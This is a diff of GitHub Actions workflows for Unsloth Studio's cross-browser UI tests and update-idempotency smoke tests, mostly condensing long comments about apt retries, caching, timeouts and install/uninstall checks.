- # catches "passed but the UI is silently broken" regressions.
+ # Always upload so a green run's screenshots stay reviewable.
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
- # Per shard: artifacts are immutable within a run, so four cells uploading one
- # name means the first wins and the other three fail the step. It carries
- # if: always() and no continue-on-error, so that would turn passing UI runs red.
+ # Per-shard name: artifact names are immutable within a run.
name: studio-ui-smoke-artifacts-${{ matrix.shard }}
path: |
logs/studio.log
@@ -1003,31 +772,14 @@ jobs:
logs/playwright_memory_estimate
logs/playwright_ime
logs/studio-permissions-*.log
- # 1 day, matching the repository-wide cap. A larger value here is
- # silently clamped to that cap today, so stating 7 only invites the
- # artifacts to re-inflate if the cap is ever raised.
+ # Repository-wide cap; larger values are silently clamped.
retention-days: 1
ui-indicator:
name: Loaded-models indicator (cross-browser)
runs-on: ubuntu-latest
- # Its own job, not a step in ui-smoke, because it was 853s of that job's 30
- # minute limit -- three browser engines at ~4.7 minutes each -- and it pushed
- # the five Playwright steps after it past the limit. Those steps did not fail;
- # they never ran, on any PR, while the job reported a plain red timeout that
- # said nothing about the PR. That is the second time this workflow has lost
- # steps that way (the limit already went 25 -> 30 for the same reason), so
- # this time the work moves off the critical path instead of the limit moving
- # again.
- #
- # No HF cache and no GGUF here: the suite stubs the four /status reads with
- # page.route, so it needs no model, no GPU and no llama.cpp build. That is
- # also what lets it replay the AMD / Apple / CPU-only payload shapes this
- # runner never sees. What it does need is a real browser: the indicator
- # restores an absolute viewport position from localStorage, and a stored
- # position from a wider screen once left the card off screen with its own
- # drag handle and collapse button unreachable, which only a real layout and
- # a real ResizeObserver can catch.
+ # Own job: three engines would push later ui-smoke steps past its limit. Stubs the
+ # /status reads, so no model or GPU is needed, but a real browser layout is.
timeout-minutes: 30
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -1035,29 +787,13 @@ jobs:
persist-credentials: false
- name: Linux deps
- # Retried through the shared helper. Unbounded, this stalled on the Azure
- # mirror for 28 minutes on one shard before anyone noticed, and would have
- # spent the job's full 30: an apt stall is not slow, it is silent. Every
- # step after it is skipped and the run reports "cancelled" with no reason,
- # so the shard says nothing about its subject.
- #
- # The retry is the point, not the shorter wait. The note on this job's
- # timeout-minutes records the last attempt at this -- cutting the JOB budget
- # to 20 turned the same stall from a slow pass into a red build, because a
- # single attempt had nowhere to go. Three bounded attempts do: 180s is ~14x
- # the 13 seconds this takes healthy, so only a mirror that is genuinely gone
- # burns all three, and that is a hang rather than a slow mean.
- #
- # The job's 30 stays the final backstop and is deliberately not tightened.
+ # Bounded and retried: an apt stall is silent and the run reports `cancelled`.
+ # The job's 30 stays the backstop.
timeout-minutes: 20
env:
- # See the note above: two long attempts beat three short ones against a
- # mirror that is slow rather than gone.
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '360'
- # One call, not two: retrying the install after a stalled update just re-reads
- # the same broken package list, and two calls double the worst case for no
- # extra coverage.
+ # One call: retrying install after a stalled update re-reads the same broken lists.
run: |
bash .github/scripts/retry-with-apt-lock.sh sudo sh -c \
'apt-get install -y --no-install-recommends libcurl4-openssl-dev libssl-dev jq || { apt-get update && apt-get install -y --no-install-recommends libcurl4-openssl-dev libssl-dev jq; }'
@@ -1082,13 +818,7 @@ jobs:
pip install 'playwright>=1.45,<2'
echo "version=$(python -c 'import playwright; from importlib.metadata import version; print(version("playwright"))')" >> "$GITHUB_OUTPUT"
- # Three browser engines, downloaded on every job, on every run, uncached. It was
- # 0.75 minutes when one job needed them; with four shards it is four times that,
- # and it sits on the critical path of each one.
- #
- # Keyed on the resolved Playwright version because that is what decides which
- # browser builds are wanted: a floating '>=1.45' that resolves higher must not hit
- # a cache holding the older engines.
+ # Keyed on the resolved Playwright version, which decides the browser builds.
- name: Restore the Playwright browser cache
id: pw-cache
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
@@ -1099,24 +829,7 @@ jobs:
- name: Restore the apt archive cache (webkit's .deb set)
id: apt-cache
- # The browser cache above holds the ENGINES. This holds the .deb files their
- # system libraries come from, which is a different 102 MB and the one that has
- # actually been taking jobs down:
- #
- # 0 upgraded, 181 newly installed
- # Need to get 102 MB/114 MB of archives
- # Get:2 .../fonts-wqy-zenhei [7472 kB] -> 4m51s, then the attempt died
- #
- # #9283 removed that cost from the two chromium-only shards by not asking for
- # webkit at all. The shards that genuinely drive webkit still pay it, so this is
- # the other half: pay the download once on main, and let a degraded mirror cost
- # a cache miss rather than a shard.
- #
- # Keyed on the runner image as well as the engine set, because which .deb
- # versions satisfy a dependency set is a property of the image. A key that
- # ignored it would offer noble packages to a future image; apt would reject them
- # against its index and re-fetch, so the failure is a slow no-op rather than a
- # wrong install -- but a silent one, and this is cheaper than finding out.
+ # Caches the .debs for the engines' system libraries, keyed on the runner image.
uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
continue-on-error: true
with:
@@ -1125,70 +838,23 @@ jobs:
- name: Install Playwright browsers
id: pw-install
- # --with-deps stays unconditional: the apt side installs system libraries OUTSIDE
- # the cached directory, so a restored cache without it gives browsers that cannot
- # start. Only the download is skipped, which is the part that costs.
- #
- # Bounded and retried, because this step stalls. Three times in one day it sat in
- # apt's download loop until the job's 30-minute timeout killed it: the shards that
- # hit it took 30 minutes to report nothing, while their siblings finished the whole
- # job in 4 to 9. GitHub scores that as "cancelled" rather than a failure, prints no
- # reason, and skips every step after it, so an infrastructure hiccup costs a shard's
- # entire surface and reads like a mystery.
- #
- # A per-attempt `timeout` makes the stall a failure instead of a silent wait, and
- # the retry is what actually recovers -- both observed stalls cleared on a plain
- # re-run of the same commit. The healthy time is about 2 minutes, so 8 is 4x
- # headroom and a merely slow mirror will not trip it. timeout-minutes bounds the
- # pair in case `timeout` itself is outlived by an unkillable child.
- # Bounded and retried through the shared helper, which is where the dpkg
- # lock wait and the exit-code reporting live. This was eight lines of
- # inline loop and it shipped a bug that made the retry dead: GitHub runs
- # `run:` as `bash -e`, so `timeout ...; rc=$?` aborted the step on the
- # first stall and the second attempt never ran. The step exited 124 having
- # printed nothing at all, which looked exactly like the unbounded stall it
- # was supposed to replace. One definition, tested, instead of copies.
- #
- # Two attempts at 7 minutes, against a healthy ~2: worst case 14 plus the
- # lock wait, which still leaves the job's 30 room for the work it exists to
- # do. Three attempts here would not.
- # Two helper calls now, not one: the CDN download and the apt transaction
- # are separated, and each carries its own retry budget. 2 x 300s plus a lock
- # wait, twice over, is 24m of worst case against the job's 30 -- which is
- # why the per-attempt cap comes down from 420. Healthy is ~2 minutes for the
- # download and seconds for the probe, so 300 is still 2.5x headroom.
+ # CDN download and apt are separate helper calls, each with its own retry budget:
+ # 2 x 300s plus lock wait, twice, fits the job's 30.
timeout-minutes: 25
env:
RETRY_ATTEMPTS: '2'
RETRY_ATTEMPT_TIMEOUT: '300'
- # install-deps runs its own `apt-get update`, and that is the only apt call
- # in this repo that cannot be restructured to try the image's lists first.
- # The helper's 20s transfer cap was applied and confirmed in the log on
- # 2026-08-19 and the update still burned 4m31s of a 300s attempt, twice, so
- # the step failed having never reached the download. Four InRelease URIs
- # stalling to the cap, repeated over apt's default 3 retries, is 4 x 4 x 20s.
- #
- # Zero hands resilience to the outer attempt loop, which re-runs the command
- # under a fresh timeout and reports which way each attempt went. apt's own
- # retries are invisible and are charged to the caller's budget.
+ # install-deps runs its own `apt-get update`; apt's internal retries are invisible and
+ # charged to our budget, so the outer attempt loop owns resilience.
APT_ACQUIRE_RETRIES: '0'
run: |
- # The browsers first, and WITHOUT --with-deps. That flag makes playwright
- # run its own `apt-get update` internally, which is the one apt call this
- # repo cannot restructure: on 2026-08-19 it spent 16m14s here against a
- # dead azure.archive.ubuntu.com while every other apt step in CI had
- # already been taught to skip the update entirely. A CDN download and an
- # apt transaction are two different failures and they are separated here.
+ # No --with-deps: it runs its own unbounded `apt-get update`.
if [ "${{ steps.pw-cache.outputs.cache-hit }}" != "true" ]; then
bash .github/scripts/retry-with-apt-lock.sh \
python -m playwright install chromium firefox webkit
fi
- # Then ask whether the system libraries are actually missing, instead of
- # assuming they are. ubuntu-latest is a browser-testing image and ships
- # nearly all of them; when it does, `install-deps` is a full apt update
- # and transaction to install nothing. Launching each engine is the honest
- # test of that -- it is exactly what the suites are about to do.
+ # Probe whether the system libraries are actually missing before running apt.
probe() {
python - "$@" <<'PY'
import sys
@@ -1213,48 +879,23 @@ jobs:
echo "::notice::skipped playwright install-deps; the runner image already has the libraries"
else
echo "system libraries are missing, installing them"
- # Hand apt last run's .debs before it goes looking for them. apt checks each
- # file against its index and re-fetches only what does not match, so a stale
- # cache costs a download rather than a wrong install.
+ # Reuse last run's .debs; apt re-fetches any that do not match its index.
if [ -d "${{ github.workspace }}/.apt-archives" ]; then
sudo cp "${{ github.workspace }}"/.apt-archives/*.deb /var/cache/apt/archives/ 2>/dev/null || true
echo "seeded $(ls "${{ github.workspace }}"/.apt-archives/*.deb 2>/dev/null | wc -l) cached .deb files"
fi
bash .github/scripts/retry-with-apt-lock.sh \
python -m playwright install-deps chromium firefox webkit
- # Harvest for next time. apt keeps what it installed in the archive dir until
- # something runs `apt-get clean`, so this is exactly what it just used --
- # seeded or downloaded, and only the packages this engine set needs.
mkdir -p "${{ github.workspace }}/.apt-archives"
sudo cp /var/cache/apt/archives/*.deb "${{ github.workspace }}/.apt-archives/" 2>/dev/null || true
sudo chown -R "$(id -u):$(id -g)" "${{ github.workspace }}/.apt-archives" || true
- # Fail loudly rather than proceeding into suites that cannot launch a
- # browser: without this the real error surfaces later as an opaque
- # per-test timeout in whichever suite happens to run first.
+ # Fail loudly here rather than as an opaque per-test timeout later.
probe chromium firefox webkit
fi
- # Save on main only, like every model cache in this repo. read-write
- # `actions/cache` saves from its post-step on EVERY ref, and a PR-scoped entry
- # can only be restored by re-runs of that same PR while still competing for the
- # 50 GiB repo budget, measured 99.3% full. At ~470MB per browser set that is how
- # main's copy -- the one every PR can actually read -- gets evicted, so the next
- # PR misses and writes its own. This key was measured holding 3 copies for 0.91
- # GiB of pure duplicate. Same thrash loop the GGUF caches were fixed for.
- # Gated on the install SUCCEEDING, not merely having run. `playwright install`
- # downloads three engines from a CDN; a network failure part-way leaves some of
- # them on disk, and under a bare always() that partial directory is what gets
- # saved. The key is immutable (version-pinned), so every later run then restores
- # it, reports cache-hit, skips the download and runs only install-deps -- with
- # engines that are not there. Every UI job fails until someone deletes the entry
- # by hand, and nothing in the logs points at the cache.
- #
- # always() stays, so an unrelated earlier failure does not throw away browsers
- # that did download; the outcome check is what narrows it to this step.
+ # Main only, and only after the install succeeded: the key is immutable, so a partial
+ # download saved once would break every later run.
- name: Save the apt archive cache
- # main only, same rule as every other cache here: a PR-ref entry can only be
- # restored by re-runs of that same PR while still counting against the shared
- # budget, evicting the copy every PR can read.
if: >-
(github.ref == 'refs/heads/main' || (github.ref == 'refs/heads/upstream-main' && github.repository != 'unslothai/unsloth'))
&& steps.apt-cache.outputs.cache-hit != 'true'
@@ -1276,39 +917,9 @@ jobs:
key: ms-playwright-${{ runner.os }}-${{ steps.pw.outputs.version }}-cfw-v2
- name: Cross-browser loaded-models indicator
- # The three engines are independent runs of the same suite, and running
- # them one after another was ~870s of this job's ~1000s -- the largest
- # single block of Linux wall-clock in CI. They are disjoint: each boots
- # its own server and drives its own browser, so the only reason they
- # could not overlap was shared state, not shared work.
- #
- # Note the sibling ui-smoke job says in-machine parallelism is
- # deliberately not used there. That reasoning is "these are separate
- # runners, so each still boots one Unsloth at a time" -- it is an argument
- # about a SHARDED job, and this job has no shards to spread across.
- #
- # Two things are shared, and each gets split rather than serialised:
- #
- # port -- one per engine, so three servers coexist.
- # UNSLOTH_STUDIO_HOME -- one per engine. The script wipes
- # $studio_home/auth so the boot mints a fresh .bootstrap_password,
- # then reads that file back. On a shared home the three runs would
- # race destructively: one wipes the password another just minted and
- # is about to log in with.
- #
- # UNSLOTH_STUDIO_HOME is the CLI's INSTALL root, not just a data root, so a
- # bare empty directory is not usable: unsloth_cli/commands/studio.py resolves
- # $UNSLOTH_STUDIO_HOME/unsloth_studio/bin/python and exits "Unsloth Studio not
- # set up. Run install.sh first." before binding a port. So each per-engine home
- # SYMLINKS the one venv install.sh already built under ~/.unsloth/studio, and
- # owns only the mutable state that sits beside it: auth/, studio.db, cache/.
- #
- # That keeps it cheap. Nothing is copied or rebuilt per engine, the frontend
- # still comes from a package-relative path inside the shared venv, and the suite
- # is UNSLOTH_API_ONLY with the /status endpoints stubbed via page.route, so a
- # fresh home needs no model, no GPU and no llama.cpp build. That last part is
- # what makes this safe for THIS suite and not for a job whose home holds a
- # downloaded model.
+ # Engines run in parallel, each with its own port and UNSLOTH_STUDIO_HOME, since the
+ # script wipes auth/ per boot. Each home symlinks the shared venv (the CLI requires
+ # unsloth_studio/bin/python under it). Safe only because this suite needs no model.
run: |
mkdir -p logs
installed_home="${UNSLOTH_STUDIO_HOME:-$HOME/.unsloth/studio}"
@@ -1326,8 +937,7 @@ jobs:
>"logs/indicator-$engine.out" 2>&1 &
pids="$pids $!:$engine"
done
- # Wait on ALL of them before failing, so one engine's breakage does not
- # hide another's: a sequential run reported only the first failure.
+ # Wait on all engines so one failure does not hide another.
rc=0
for entry in $pids; do
if ! wait "${entry%%:*}"; then
@@ -1343,8 +953,7 @@ jobs:
exit "$rc"
- name: Upload Playwright artifacts
- # Always, so a green run's screenshots stay reviewable: this suite is
- # about what the card LOOKS like, and it can pass while it looks wrong.
+ # Always: the suite is visual and can pass while it looks wrong.
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml
index efb996eddbb..beda7c12dc3 100644
--- a/.github/workflows/studio-update-smoke.yml
+++ b/.github/workflows/studio-update-smoke.yml
@@ -1,13 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Verifies that `unsloth studio update --local` is idempotent: a fresh
-# install via install.sh, followed by `unsloth studio update --local`,
-# succeeds and is a no-op for the llama.cpp prebuilt (it should report
-# "prebuilt up to date and validated", not re-run the source build).
-#
-# This catches regressions in setup.sh's update path that the existing
-# GGUF / wheel jobs would miss because they only invoke install.sh once.
+# Verifies `unsloth studio update --local` is idempotent and keeps the validated prebuilt.
name: Unsloth Update CI
@@ -24,25 +18,20 @@ on:
- 'studio/install_llama_prebuilt.py'
- 'studio/install_whisper_prebuilt.py'
- 'studio/install_audio_cpp_prebuilt.py'
- # install_audio_cpp_prebuilt.py imports its archive helpers from here.
- 'studio/install_sd_cpp_prebuilt.py'
- 'studio/install_node_prebuilt.py'
- 'studio/install_manifest.py'
- 'studio/prebuilt_core.py'
- # install_node_prebuilt.py reads the default version and archive digests from here.
- 'studio/node_prebuilt_pins.json'
- 'studio/setup.ps1'
- 'install.ps1'
- 'studio/backend/requirements/**'
- # setup.sh and setup.ps1 run npm against these two trees on every update, and the
- # harness holds the frontend bundle to be current afterwards; a dependency change
- # there used to reach these jobs only through the push to main.
+ # setup.sh/setup.ps1 run npm against these trees on every update.
- 'studio/frontend/package.json'
- 'studio/frontend/package-lock.json'
- 'studio/backend/core/data_recipe/oxc-validator/package.json'
- 'studio/backend/core/data_recipe/oxc-validator/package-lock.json'
- 'studio/backend/core/data_recipe/oxc-validator/.npmrc'
- # The harness below and the proxy it measures with.
- 'tests/studio/install/test_update_idempotency.py'
- 'tests/studio/install/idempotency_proxy.py'
- 'unsloth_cli/commands/studio.py'
@@ -50,14 +39,7 @@ on:
- 'unsloth_cli/_system_dir_guard.py'
- 'pyproject.toml'
- '.github/workflows/studio-update-smoke.yml'
- # The second update must report the llama.cpp prebuilt as up to date and
- # validated. That outcome is computed by backend.utils.prebuilt.llama_backend
- # (imported by install_llama_prebuilt.py), backend.utils.auth_safe and the
- # vendored truststore (imported by prebuilt_core.py), wheel_utils.py and
- # uv_path_safety.py (imported by install_python_stack.py), and mlx_repair.py
- # (its MLX health probe). setup.sh runs nvidia_probe.py. The job drives this checkout's CLI, whose
- # __init__.py imports every command module, and its pytest runs load the root and
- # tests/studio/install conftests.
+ # Modules that decide whether the second update reports the prebuilt as validated.
- 'studio/backend/__init__.py'
- 'studio/backend/utils/__init__.py'
- 'studio/backend/utils/auth_safe.py'
@@ -75,19 +57,15 @@ on:
- 'tests/_shared/**'
- 'tests/studio/install/conftest.py'
- '.github/scripts/retry-with-apt-lock.sh'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # Reached through install-unsloth-local, which uses the dist and uv cache pairs.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
push:
branches: [main]
- # The same list as pull_request. This workflow has a macOS leg, and macOS runners
- # are capped at five concurrent jobs account-wide, so a push trigger without a
- # filter would spend them on commits that cannot affect what it tests.
+ # Same list as pull_request, to spare the macOS slots.
paths:
- 'install.sh'
- 'scripts/uninstall.sh'
@@ -96,25 +74,20 @@ on:
- 'studio/install_llama_prebuilt.py'
- 'studio/install_whisper_prebuilt.py'
- 'studio/install_audio_cpp_prebuilt.py'
- # install_audio_cpp_prebuilt.py imports its archive helpers from here.
- 'studio/install_sd_cpp_prebuilt.py'
- 'studio/install_node_prebuilt.py'
- 'studio/install_manifest.py'
- 'studio/prebuilt_core.py'
- # install_node_prebuilt.py reads the default version and archive digests from here.
- 'studio/node_prebuilt_pins.json'
- 'studio/setup.ps1'
- 'install.ps1'
- 'studio/backend/requirements/**'
- # setup.sh and setup.ps1 run npm against these two trees on every update, and the
- # harness holds the frontend bundle to be current afterwards; a dependency change
- # there used to reach these jobs only through the push to main.
+ # setup.sh/setup.ps1 run npm against these trees on every update.
- 'studio/frontend/package.json'
- 'studio/frontend/package-lock.json'
- 'studio/backend/core/data_recipe/oxc-validator/package.json'
- 'studio/backend/core/data_recipe/oxc-validator/package-lock.json'
- 'studio/backend/core/data_recipe/oxc-validator/.npmrc'
- # The harness below and the proxy it measures with.
- 'tests/studio/install/test_update_idempotency.py'
- 'tests/studio/install/idempotency_proxy.py'
- 'unsloth_cli/commands/studio.py'
@@ -122,14 +95,7 @@ on:
- 'unsloth_cli/_system_dir_guard.py'
- 'pyproject.toml'
- '.github/workflows/studio-update-smoke.yml'
- # The second update must report the llama.cpp prebuilt as up to date and
- # validated. That outcome is computed by backend.utils.prebuilt.llama_backend
- # (imported by install_llama_prebuilt.py), backend.utils.auth_safe and the
- # vendored truststore (imported by prebuilt_core.py), wheel_utils.py and
- # uv_path_safety.py (imported by install_python_stack.py), and mlx_repair.py
- # (its MLX health probe). setup.sh runs nvidia_probe.py. The job drives this checkout's CLI, whose
- # __init__.py imports every command module, and its pytest runs load the root and
- # tests/studio/install conftests.
+ # Modules that decide whether the second update reports the prebuilt as validated.
- 'studio/backend/__init__.py'
- 'studio/backend/utils/__init__.py'
- 'studio/backend/utils/auth_safe.py'
@@ -147,16 +113,10 @@ on:
- 'tests/_shared/**'
- 'tests/studio/install/conftest.py'
- '.github/scripts/retry-with-apt-lock.sh'
- # The install step in this workflow is `uses:` on that composite action,
- # so an edit to the action changes what this workflow actually runs.
+ # The install step in this workflow is `uses:` on that composite action.
- '.github/actions/install-unsloth-local/action.yml'
- # The dist cache moved out of install-unsloth-local so the Windows jobs could
- # share one definition of its key; a change to it still has to re-run the jobs
- # that depend on it.
- '.github/actions/frontend-dist-restore/action.yml'
- '.github/actions/frontend-dist-save/action.yml'
- # The Windows job restores and saves the uv download cache directly, as the
- # pull_request list above already records.
- '.github/actions/uv-cache-restore/action.yml'
- '.github/actions/uv-cache-save/action.yml'
workflow_dispatch:
@@ -175,7 +135,6 @@ jobs:
update-idempotency:
name: Unsloth Updating Tests
runs-on: ubuntu-latest
- # Sized for the apt step's bounded worst case (15m) plus the smoke itself.
timeout-minutes: 60
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -183,15 +142,8 @@ jobs:
persist-credentials: false
- name: Linux deps for llama.cpp prebuilt
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: a hung apt step is reported as `cancelled` with no reason.
+ # update + install retry as one unit; two long attempts, since slow mirrors are common.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -210,11 +162,7 @@ jobs:
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
with:
python-version: '3.12'
- # Don't cache pip: this job runs `bash install.sh` and
- # `unsloth studio update --local` which both go through
- # `uv` and never populate ~/.cache/pip. setup-python's
- # post-step then fatal-errors with "Cache folder path is
- # retrieved for pip but doesn't exist on disk".
+ # No pip cache: everything goes through uv, and setup-python's post-step would fail.
- name: Install Unsloth (--local, --no-torch)
uses: ./.github/actions/install-unsloth-local
@@ -224,46 +172,25 @@ jobs:
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- name: A second update does nothing, and proves it
- # The first updates after the install, measured rather than read off their logs:
- # the update runs with a CONNECT proxy as its only route out, so "downloaded
- # nothing" is a byte count per host rather than an impression of speed, and the
- # install is diffed before and after so "changed nothing" covers the files no log
- # line mentions. Before the log-only steps below on purpose: a regression that
- # downloads or rewrites state on the first or second update and then records
- # enough evidence to go quiet would otherwise be measured only on a fourth.
- #
- # It also damages the install on purpose (a sidecar file, the manifest, a
- # llama.cpp binary, a requirements file) and asserts the update repairs exactly
- # the damaged part. Those cases restore what they broke, but they run BEFORE the
- # manifest-removal step below rather than after, so a failure here cannot be
- # mistaken for the deliberately incomplete install that step creates.
+ # Measured updates: a CONNECT proxy is the only route out, so "downloaded nothing" is a
+ # byte count, and the install is diffed. Damage-and-repair cases run BEFORE the
+ # manifest-removal step.
timeout-minutes: 30
env:
UNSLOTH_IDEMPOTENCY_E2E: '1'
- # Each run's update log and proxy journal, kept for the upload below. A
- # failure here is unreadable without them: the assertion says which host
- # served bytes, not which of the eight runs did it.
UNSLOTH_IDEMPOTENCY_ARTIFACTS: ${{ github.workspace }}/logs/idempotency
- # The install above is --local and editable, so the CLI would find the
- # checkout on its own; naming it keeps that working if the install ever
- # stops being editable.
+ # Explicit in case the install ever stops being editable.
STUDIO_LOCAL_REPO: ${{ github.workspace }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -o pipefail
mkdir -p logs
- # setup-python's interpreter runs the harness, and it ships without pytest.
python -m pip install --quiet pytest
python -m pytest tests/studio/install/test_update_idempotency.py -v -s \
2>&1 | tee logs/idempotency.log
- name: First update should be a no-op (prebuilt already validated)
- # `unsloth studio update --local` runs studio/setup.sh against
- # the local repo. Right after install.sh the llama.cpp prebuilt
- # has just been installed and validated, so the second run must
- # take the "prebuilt up to date and validated" code path. Any
- # source-build fallback or re-download here means setup.sh's
- # idempotency regressed.
+ # The second run must take the "prebuilt up to date and validated" path.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -284,10 +211,6 @@ jobs:
echo "update path took the prebuilt fast path"
- name: Second update must also be a no-op
- # Two consecutive `update`s back-to-back is the usual desktop
- # flow (auto-update, then user-triggered update). Asserting the
- # second run is also clean rules out hidden state changes from
- # the first one.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@@ -302,8 +225,6 @@ jobs:
echo "second update was clean"
- name: Boot Unsloth briefly to confirm the install is still usable
- # If `update --local` accidentally broke the venv or wiped the
- # llama-server binary, the server would fail to start here.
run: |
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \
@@ -334,13 +255,10 @@ jobs:
jq -e '.desktop_manageability_version >= 2' /tmp/caps.json
- name: An incomplete install must not report itself ready
- # An installer killed part-way leaves a working CLI but no studio.txt
- # deps, which the old preflight called ManagedReady. The manifest is
- # written last, so removing it reproduces that state.
+ # The manifest is written last, so removing it reproduces a killed install.
run: |
set -o pipefail
- # install.sh's default root, resolved explicitly: `python` on PATH
- # here is setup-python's, not the managed venv.
+ # `python` on PATH is setup-python's, not the managed venv.
MANIFEST="$HOME/.unsloth/studio/unsloth_studio/unsloth_install_manifest.json"
test -f "$MANIFEST" || { echo "::error::installer never wrote $MANIFEST"; exit 1; }
rm -f "$MANIFEST"
@@ -353,9 +271,8 @@ jobs:
echo "incomplete install correctly reported not-ready"
- name: Update repairs an incomplete install
- # `--local` bypasses setup.sh's PyPI version compare, so this asserts
- # the repair OUTCOME. The non-local fast path the desktop Repair button
- # uses is covered by tests/studio/install/test_setup_fast_path_guard.py.
+ # `--local` bypasses the PyPI version compare; the non-local fast path is covered by
+ # tests/studio/install/test_setup_fast_path_guard.py.
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
@@ -366,14 +283,7 @@ jobs:
echo "update repaired the incomplete install"
- name: Uninstall and verify clean
- # Round-trip the installer through scripts/uninstall.sh: confirms the
- # uninstaller actually finds and removes everything install.sh +
- # update wrote. Safety-guard scenarios (refuse-$HOME etc.) belong
- # in a separate fast smoke job; this is the happy-path cleanup
- # assertion that catches regressions where install.sh starts
- # writing to a new location and scripts/uninstall.sh hasn't caught up.
- # Skips gracefully if scripts/uninstall.sh has not landed yet (lets
- # this workflow merge before #5497).
+ # Round-trip through scripts/uninstall.sh to catch new install locations it misses.
run: |
set -o pipefail
if [ ! -f scripts/uninstall.sh ]; then
@@ -400,25 +310,18 @@ jobs:
leak=$((leak + 1))
fi
done
- # Catch-all that does not need updating when a new artifact is added:
- # nothing but Unsloth writes under ~/.unsloth on a runner, so a
- # surviving directory means the uninstaller missed something. This is
- # what caught the node/whisper install locks, which individually look
- # harmless but keep the uninstaller's rmdir from pruning ~/.unsloth.
+ # Nothing but Unsloth writes under ~/.unsloth, so anything left was missed.
if [ -d "$HOME/.unsloth" ]; then
echo "::error::leak: ~/.unsloth survived the uninstall"
find "$HOME/.unsloth" | head -40
leak=$((leak + 1))
fi
[ "$leak" -eq 0 ] || exit 1
- # Idempotent: re-runs exit 0 on an empty $HOME.
sh scripts/uninstall.sh 2>&1 | tail -5
sh scripts/uninstall.sh 2>&1 | tail -5
echo "PASS: install -> update -> uninstall round-trip clean"
- name: Upload update logs
- # Always upload so a green run still leaves the install + two
- # update logs + uninstall log reviewable.
if: always()
uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
@@ -438,8 +341,6 @@ jobs:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Unsloth Updating Tests (macOS)
runs-on: macos-15
- # The install is the expensive half; the harness itself is three updates that are
- # supposed to do nothing plus five that do one thing each.
timeout-minutes: 75
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -467,9 +368,6 @@ jobs:
hf-token: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
- name: A second update does nothing, and proves it
- # macOS is where a no-op update cost the most before this: the llama.cpp and
- # whisper.cpp re-validations START the servers, which on Apple Silicon means
- # loading Metal. Same harness as the Linux leg.
timeout-minutes: 30
env:
UNSLOTH_IDEMPOTENCY_E2E: '1'
@@ -479,7 +377,6 @@ jobs:
run: |
set -o pipefail
mkdir -p logs
- # setup-python's interpreter runs the harness, and it ships without pytest.
python -m pip install --quiet pytest
python -m pytest tests/studio/install/test_update_idempotency.py -v -s \
2>&1 | tee logs/idempotency.log
@@ -500,8 +397,6 @@ jobs:
if: github.event_name != 'pull_request' || !github.event.pull_request.draft
name: Unsloth Updating Tests (Windows)
runs-on: windows-latest
- # Windows installs are 3x the Linux ones (268-292s against 88s in the API smoke),
- # and Defender is why; the harness after it is the same three updates.
timeout-minutes: 90
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -518,8 +413,6 @@ jobs:
with:
python-version: '3.12'
- # install-unsloth-local restores this for the Linux and macOS jobs above; this
- # hand-written pwsh install never had it, so every run re-downloaded every wheel.
# install.ps1 preserves the UV_CACHE_DIR the action exports.
- name: Restore the uv download cache
id: uv-cache
@@ -533,20 +426,15 @@ jobs:
HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }}
run: |
New-Item -ItemType Directory -Force -Path logs | Out-Null
- # A CHILD process, so install.ps1's Write-StudioLine output reaches
- # Tee-Object: in-process it goes straight to [Console]::Out and the log is
- # empty. Same idiom as studio-windows-api-smoke.yml.
+ # A child process, so install.ps1's [Console]::Out output reaches Tee-Object.
$child = '$ErrorActionPreference = ''Stop''; $ProgressPreference = ''SilentlyContinue''; & ./install.ps1 --local --no-torch; exit $LASTEXITCODE'
- # Elapsed-seconds prefix, added to the STEP LOG only. Tee-Object writes
- # logs/install.log upstream of this filter, so the artifact keeps exactly
- # what install.ps1 produced. Same idiom as studio-windows-api-smoke.yml.
+ # Timestamps go to the step log only; logs/install.log keeps raw output.
